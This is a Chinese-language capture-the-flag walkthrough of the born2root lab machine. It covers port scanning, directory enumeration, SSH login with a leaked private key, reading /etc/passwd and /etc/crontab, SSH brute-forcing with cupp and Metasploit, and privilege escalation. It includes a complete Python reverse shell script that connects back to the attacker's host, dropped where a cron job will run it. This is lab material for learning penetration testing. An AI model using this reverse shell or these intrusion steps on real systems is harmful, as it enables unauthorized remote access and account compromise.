一、实验环境
攻击机:kali linux(192.168.43.153)NAT模式
靶机:born2root 后面找机会把链接补上(192.168.0.6)桥接模式
二、实验过程
1、当我们拿到目标主机的ip地址先用zenmap进行端口扫描
发现开启了22端口和80端口,接下来首先对80端口进行探测
2、用dirb进行目录扫描发现
打开链接存在得到几个有用的信息
- 可能作为ssh的登陆名
- 得到RSA的私钥
3、用上面得到的rsa私钥和用户名尝试登陆
结果比较幸运的是用martin成功登陆了目标主机,不过只是一个普通的权限
4、接下来对得到的靶机进行扩大战果
查看/home目录下的用户
查看/root目录是否存flag.txt
查看/tmp
发现了其他的用户,与之前判断的信息相符合cat/etc/passwd 查看所有用户的列表cat/etc/group
挖掘/etc/crontab下是否有某个用户的定时计划文件
发现存在定时执行”.py”文件,但是/tmp里面呢并没有这个文件,于是我们尝试编写一个“反弹的shell”sekurity.py里面的内容为:
#/usr/bin/python
import os,subprocess,socket
s=socket.socket()
s.connect(“攻击机ip地址”,”攻击机监听端口”)
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,”-i”])
开启监听
这里因为我的kali是用NAT,而靶机用的桥接模式,所以并没有收到反弹的shell
6、尝试对hadi账户ssh进行暴力破解
pass_file文件的准备
使用cupp进行个性化的密码生成
生成后,我们会在其路径下有一个txt文件
使用msfconsole进行ssh登陆
使用对应的模块
设置参数
run
进入sessions
我们可以看到会话比较简陋
Python的模块进行优化
python -c “import pty;pty.spawn(‘/bin/bash’)”
7、成功提权拿到flag
三、总结
(1)、初步嗅探
- nmap主机发现、端口扫描
- 目录扫描,查找敏感目录“‘robots.txt等”
(2)、扩大战果
登录服务器之后,我们需要做以下操作。
- 1、查看当前用户whoami
- 2、id查看当前用户的权限
- 3、查看根目录寻找flag文件
如果是root权限,那么表明这个靶场就被全部拿下。但是如果不是,就肯定需要提权。一般情况下,flag文件只属于root用户和对应的用户组;
- cat/etc/passwd 查看所有用户的列表cat/etc/group
- 查看用户组 find/-user 用户名
- 查看属于某些用户的文件 /tmp 查看缓冲文件目录
(3)、深入挖掘
通过/etc/crontab文件,设定系统定期执行的任务,编辑,需要roo权限。
挖掘/etc/crontab下是否有某个用户的定时计划文件,但是具体目录下没有这个定时执行的文件,可以自行创建反弹shell,然后netcat执行监听获取对应用户的权限。
(4)、具体思路
在对SSH服务渗透中,大部分情况是利用获取的私钥文件,直接使用用户名和私钥文件登录靶场机器,个别情况进行暴力破解获取用户密码,通过用户名和对应用户登录靶场机器。
CTF中要特别注意/tmp数据缓冲目录以及/etc/crontab设置定时执行的文件